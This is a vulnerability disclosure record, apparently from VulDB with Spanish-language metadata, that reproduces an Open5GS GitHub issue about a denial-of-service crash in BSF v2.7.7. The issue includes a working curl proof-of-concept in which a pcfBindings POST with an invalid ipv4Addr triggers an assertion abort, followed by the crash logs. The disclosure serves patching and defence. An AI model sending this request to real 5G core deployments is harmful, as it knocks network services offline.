Enviar #804292: Open5gs BSF v2.7.7 Denial of Service

### Open5GS Release, Revision, or Tag

v2.7.7

### Description

BSF crashes when a `POST /nbsf-management/v1/pcfBindings` request contains an
invalid `ipv4Addr` string.

The handler attempts to create a new BSF session with
`bsf_sess_add_by_ip_address()`. That helper returns `NULL` when
`ogs_ipv4_from_string()` fails, but the caller immediately does
`ogs_assert(sess)`, aborting the process.

### Steps to reproduce

```bash
curl --http2-prior-knowledge -m 5 -sS -i \
-X POST http://10.33.33.5/nbsf-management/v1/pcfBindings \
-H 'content-type: application/json' \
--data '{"ipv4Addr":"not-an-ipv4","dnn":"internet","snssai":{"sst":1,"sd":"000001"},"pcfFqdn":"pcf.example"}'
```

Then check:

```bash
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' bsf
docker logs --since 2026-04-10T17:04:56Z bsf
```

### Logs
```text
04/10 17:05:15.235: [core] ERROR: Invalid IPv4 string = not-an-ipv4
04/10 17:05:15.235: [bsf] ERROR: bsf_sess_set_ipv4addr[not-an-ipv4] failed
04/10 17:05:15.235: [bsf] FATAL: bsf_state_operational: Assertion `sess' failed. (../src/bsf/bsf-sm.c:157)
```

### Expected behaviour

BSF should reject invalid `ipv4Addr` input with a normal HTTP error response
and remain running.

### Observed Behaviour

The connection is reset and the BSF process exits with code `139`.

### eNodeB/gNodeB

Not required.

### UE Models and versions

Not required.

• Fuente: ⚠️ https://github.com/open5gs/open5gs/issues/4400
• Usuario: ZiyuLin (UID 93568)
• Sumisión: 2026-04-14 10:51 (hace 2 meses)
• Moderación: 2026-04-30 20:17 (16 days later)
• Estado: Aceptado
• Entrada de VulDB: 360353 [Open5GS hasta 2.7.7 BSF pcfBindings bsf_sess_add_by_ip_address ipv4Addr denegación de servicio]
• Puntos: 20